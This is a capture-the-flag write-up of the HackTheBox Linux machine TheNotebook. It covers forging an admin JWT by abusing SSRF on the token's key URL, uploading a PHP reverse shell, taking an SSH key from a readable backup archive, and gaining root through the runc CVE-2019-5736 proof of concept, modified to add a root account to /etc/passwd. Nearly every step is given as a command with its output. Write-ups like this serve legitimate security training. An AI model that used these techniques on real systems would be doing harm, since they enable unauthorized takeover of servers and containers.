31 Jul 2021 | Reading time: ~10 min

HackTheBox - TheNotebook [Medium]

#HackTheBox #Medium #Linux #JWT #SSRF #authorization-bypass #RCE #insecure-file-permissions #CVE-2019-5736 #docker-exec-privesc #runc-privesc #B2R #writeup #lateral-movement


Table of contents

  1. Introduction
    1. Improved skills
    2. Used tools
    3. Video
  2. Enumeration
  3. Foothold
  4. Lateral Movement to noah
  5. Privilege Escalation
  6. Trophy


TheNoteBook is a medium difficulty Linux box running a custom web application vulnerable to authorization bypass caused by a SSRF that allows to validate arbitrary JWT. Once authenticated the application suffers a bug that allows to execute PHP file, resulting in RCE. Excessive permissions assigned to the noah’s home backup archive allows to copy and extract it, resulting in the leakage of noah’s SSH private key. Finally, Noah is allowed to execute command within a docker container. Because the runc software version used in Docker before 18.09.2 suffers a file-descriptor mishandling, it is possible to leverage the CVE-2019-5736 in order to** inject a malicious root user** and then login, obtaining high privileges on the target.

Improved skills

  • Validation of arbitrary JWT
  • SSRF Authorization Bypass
  • Docker Privilege Escalation (CVE-2019-5736)

Used tools

  • nmap
  • gobuster
  • jwt.io
  • tcpdump



Scanned all TCP ports:

└─$ sudo nmap -sS -p- -oN scans/all-tcp-ports.txt -v
22/tcp    open     ssh
80/tcp    open     http
10010/tcp filtered rxapi

Enumerated open TCP open ports:

└─$ sudo nmap -sV -sT -sC -A -p22,80 -oN scans/tcp-open-ports.txt
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Nmap discovered only two services exposed by the target: an OpenSSH 7.6p1 service running on port 22 which disclosed the exact build version and a nginx 1.14.0 running on port 80. Because SSH usually does not offer a large attack surface, enumeration of target was primary focused on port 80.

Browsed port 80:

Pasted image 20210430225428.png

Enumerated web directories and files:

└─$ gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -o scans/p80-directories.txt
/admin                (Status: 403) [Size: 9]
/logout               (Status: 302) [Size: 209] [-->]
/login                (Status: 200) [Size: 1250]
/register             (Status: 200) [Size: 1422]

The site offered the possibility to register an account so one was created: Pasted image 20210430225959.png Pasted image 20210430230117.png

There were very few entry points, however, the application used JWT to authenticate users. Usually bad implementation of JWT allows authentication bypass or application privilege escalation, therefore it is always good to check them:

Pasted image 20210522153124.png

Decoding the JWT using jwt.io it came up that the user privileges are contained inside the token as well as the path to the private key used to validate it.

  "typ": "JWT",
  "alg": "RS256",
  "kid": "http://localhost:7070/privKey.key"
  "username": "maoutis",
  "email": "maoutis@hackthebox.htb",
  "admin_cap": 0

Editing the kid field it was possible to made the server contact a different target:

  "typ": "JWT",
  "alg": "RS256",
  "kid": ""
└─$ sudo tcpdump -i tun0 -n port 7070                        
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:47:46.263302 IP > Flags [S], seq 2910523052, win 64240, options [mss 1357,sackOK,TS val 1904549514 ecr 0,nop,wscale 7], length 0
17:47:46.263348 IP > Flags [R.], seq 0, ack 2910523053, win 0, length 0


Due to the SSRF vulnerability, the server can be tricked into using an arbitrary key to validate the token. This issue can be exploited by making the server accept an arbitrary token with high privileges, allowing to authenticate to the application as administrators instead of standard users.

Taking inspiration from the following Akamai article, a pair of rsa keys was created:

└─$ openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
writing RSA key

└─$ openssl rsa -in jwtRSA256-private.pem -pubout -outform PEM -out jwtRSA256-public.pem

writing RSA key

Then following this other Akamai article an arbitrary JWT containing admin privileges was created :

└─$ echo -n '{"typ":"JWT","alg":"RS256","kid":""}' | base64 | sed s/\+/-/ | sed -E s/=+$// > token.header

└─$ echo -n '{"username":"maoutis","email":"maoutis@hackthebox.htb","admin_cap":1}' | base64 | sed s/\+/-/ | sed -E s/=+$// > token.payload

└─$ cat token.*

└─$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4yNC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6Im1hb3V0aXMiLCJlbWFpbCI6Im1hb3V0aXNAaGFja3RoZWJveC5odGIiLCJhZG1pbl9jYXAiOjF9" | openssl dgst -sha256 -binary -sign  keys/jwtRSA256-private.pem | openssl enc -base64 | tr -d '\n=' | tr -- '+/' '-_' > token.signature

└─$ cat token.signature

└─$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4yNC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6Im1hb3V0aXMiLCJlbWFpbCI6Im1hb3V0aXNAaGFja3RoZWJveC5odGIiLCJhZG1pbl9jYXAiOjF9.dSB9WWMQFh66xXCbF0HpTMkSNo4ojWleQIFktxL1cczrLy9rhwvuKe42Zb4WxBsBbHB2CtH-YWZYXAOCRQawVGVgTDg-X9NHPk0yOsPUw4XOW1w1fH2Hs_xFE66OpYuboNX0wW-twqN_6jN18IwiJ3WYmES0ISEbqOEfeE_kJ0ujX2Z4d76Y2WPD-SHOi60Gj1QA-PrfTFSaepeMhze0Zg4TSfUDrV78S4DxQNJD5-i_P2MMARMM1qd7C6GJoDQyq4hw8l2fSYWgfHy7uBtjiG7RdDhhPGPHmvlfBzy7hFEkmLGcrupEV3IWpwmeK2nrST_O7XYXyeaMaTV_JUClrA" > token.jwt

The RSA private key was renamed to the value specified within the token and then it was hosted:

└─$ cp jwtRSA256-private.pem privKey.key

└─$ sudo python3 -m http.server 80

The cookie containing the current JWT was replaced with the self signed one and then the /admin page was visited:

GET /admin HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: uuid=fc6beb6e-c388-4e19-b0d7-9587a82dac02; auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4yNC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6Im1hb3V0aXMiLCJlbWFpbCI6Im1hb3V0aXNAaGFja3RoZWJveC5odGIiLCJhZG1pbl9jYXAiOjF9.dSB9WWMQFh66xXCbF0HpTMkSNo4ojWleQIFktxL1cczrLy9rhwvuKe42Zb4WxBsBbHB2CtH-YWZYXAOCRQawVGVgTDg-X9NHPk0yOsPUw4XOW1w1fH2Hs_xFE66OpYuboNX0wW-twqN_6jN18IwiJ3WYmES0ISEbqOEfeE_kJ0ujX2Z4d76Y2WPD-SHOi60Gj1QA-PrfTFSaepeMhze0Zg4TSfUDrV78S4DxQNJD5-i_P2MMARMM1qd7C6GJoDQyq4hw8l2fSYWgfHy7uBtjiG7RdDhhPGPHmvlfBzy7hFEkmLGcrupEV3IWpwmeK2nrST_O7XYXyeaMaTV_JUClrA
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Pasted image 20210501003628.png Pasted image 20210501003652.png

Once logged as administrators all the other notes were enumerated, discovering a bug that allows RCE: Pasted image 20210501004214.png Pasted image 20210501004235.png Pasted image 20210501004308.png

A PHP reverse shell was so copied, adjusted and uploaded on the server:

└─$ cp /usr/share/webshells/php/php-reverse-shell.php rev.php

└─$ nano rev.php
$ip = '';  // CHANGE THIS
$port = 10099;       // CHANGE THIS

Pasted image 20210501004535.png Pasted image 20210501004608.png

Finally a reverse shell was obtained clicking on the view button:

└─$ nc -nlvp 10099
listening on [any] 10099 ...
connect to [] from (UNKNOWN) [] 43694
Linux thenotebook 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 22:52:28 up  7:50,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@thenotebook:/$ ^Z
zsh: suspended  nc -nlvp 10099

└─$ stty raw -echo; fg

[1]  + continued  nc -nlvp 10099

www-data@thenotebook:/$ export TERM=xterm
www-data@thenotebook:/$ stty rows 60 columns 235

Lateral Movement to noah

Enumerated local users:

www-data@thenotebook:/$ cat /etc/passwd | grep -v nologin

Enumerated backup files:

www-data@thenotebook:/var/backups$ ls -al
total 60
drwxr-xr-x  2 root root  4096 Apr 30 15:01 .
drwxr-xr-x 14 root root  4096 Feb 12 06:52 ..
-rw-r--r--  1 root root 33252 Feb 24 08:53 apt.extended_states.0
-rw-r--r--  1 root root  3609 Feb 23 08:58 apt.extended_states.1.gz
-rw-r--r--  1 root root  3621 Feb 12 06:52 apt.extended_states.2.gz
-rw-r--r--  1 root root  4373 Feb 17 09:02 home.tar.gz

Excessive file permission on home.tar.gz allowed to copy the archive within /tmp and extract its contents, leaking noah ssh keys:

www-data@thenotebook:/var/backups$ cp home.tar.gz /tmp
www-data@thenotebook:/var/backups$ cd /tmp
www-data@thenotebook:/tmp$ gunzip home.tar.gz
www-data@thenotebook:/tmp$ tar -xf home.tar
www-data@thenotebook:/tmp$ cd home
www-data@thenotebook:/tmp/home$ ls
www-data@thenotebook:/tmp/home$ cd noah/
www-data@thenotebook:/tmp/home/noah$ ls -al
total 32
drwxr-xr-x 5 www-data www-data 4096 Feb 17 09:02 .
drwxr-xr-x 3 www-data www-data 4096 Feb 12 06:24 ..
-rw-r--r-- 1 www-data www-data  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 www-data www-data 3771 Apr  4  2018 .bashrc
drwx------ 2 www-data www-data 4096 Feb 16 10:47 .cache
drwx------ 3 www-data www-data 4096 Feb 12 06:25 .gnupg
-rw-r--r-- 1 www-data www-data  807 Apr  4  2018 .profile
drwx------ 2 www-data www-data 4096 Feb 17 08:59 .ssh
www-data@thenotebook:/tmp/home/noah$ cd .ssh
www-data@thenotebook:/tmp/home/noah/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub

Noah private key was then used to access the box:

└─$ ssh noah@ -i noah.key
noah@thenotebook:~$ id
uid=1000(noah) gid=1000(noah) groups=1000(noah)

Privilege Escalation

Enumerated sudo capabilities for noah:

noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

Connected to the docker container and discovered that high privileges was provided:

noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 bash
root@7b2fd74847ce:/opt/webapp# id
uid=0(root) gid=0(root) groups=0(root)

Discovered that runc was available:

[+] Checking if runc is available
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation                            
runc was found in /usr/sbin/runc, you may be able to escalate privileges with it

Googling around for Docker privilege escalation techniques, an interesting article from HackTricks was found, talking about a Runc exploit (CVE-2019-5736) that allows elevation of privileges.

runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.

Controlling the software versions of the target machine it was discovered that the box was vulnerable to that CVE:

noah@thenotebook:~$ runc -v
runc version 1.0.0~rc6+dfsg1
commit: 1.0.0~rc6+dfsg1-3
spec: 1.0.1
noah@thenotebook:~$ docker -v
Docker version 18.06.0-ce, build 0ffa825

On the attacker machine the PoC from Frichetten was downloaded, the payload was adjusted to inject a malicious root user, and then hosted for the download on the target:

└─$ wget https://raw.githubusercontent.com/Frichetten/CVE-2019-5736-PoC/master/main.go -O privesc.go
└─$ nano privesc.go
var payload = "#!/bin/bash \n echo 'root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash' >> /etc/passwd"
fd, err := os.Create("/bin/bash")
fmt.Println("[+] Overwritten /bin/bash successfully")

└─$ go build privesc.go

└─$ sudo python3 -m http.server 80

[sudo] password for kali:
Serving HTTP on port 80 ( ...

The exploit was downloaded inside the docker container and executed:

noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
root@719a30d9c793:/opt/webapp# wget
--2021-05-01 11:24:09--
root@719a30d9c793:/opt/webapp# chmod +x privesc
root@719a30d9c793:/opt/webapp# ./privesc
[+] Overwritten /bin/bash successfully
 < exploit paused >

From another SSH session the exploit was then triggered:

Session 2:

└─$ ssh noah@ -i noah.key
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
No help topic for '/bin/bash'

Session 1:

[+] Overwritten /bin/bash successfully
 < exploit paused >
[+] Found the PID: 34
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc0000a8180}

Finally it was escalated to root switching to the injected root2 user:

noah@thenotebook:~$ su root2
Password: evil
root@thenotebook:/home/noah# id && hostname && cat /root/root.txt && ifconfig -a
uid=0(root) gid=0(root) groups=0(root)
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet  netmask  broadcast
        ether 02:42:d6:10:3f:8a  txqueuelen 0  (Ethernet)
        RX packets 12886  bytes 699043 (699.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 19288  bytes 32590700 (32.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet  netmask  broadcast
        ether 00:50:56:b9:d5:cf  txqueuelen 1000  (Ethernet)
        RX packets 39715  bytes 36782225 (36.7 MB)
        RX errors 0  dropped 171  overruns 0  frame 0
        TX packets 35339  bytes 2907270 (2.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet  netmask
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4  bytes 200 (200.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4  bytes 200 (200.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

veth9864dad: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 32:f8:e1:c2:77:95  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 13  bytes 546 (546.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vethff601c6: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether da:d1:0c:17:2a:4b  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


A bug is never just a mistake. It represents something bigger.
An error of thinking. That makes you who you are.  
- Elliot Alderson (Mr. Robot)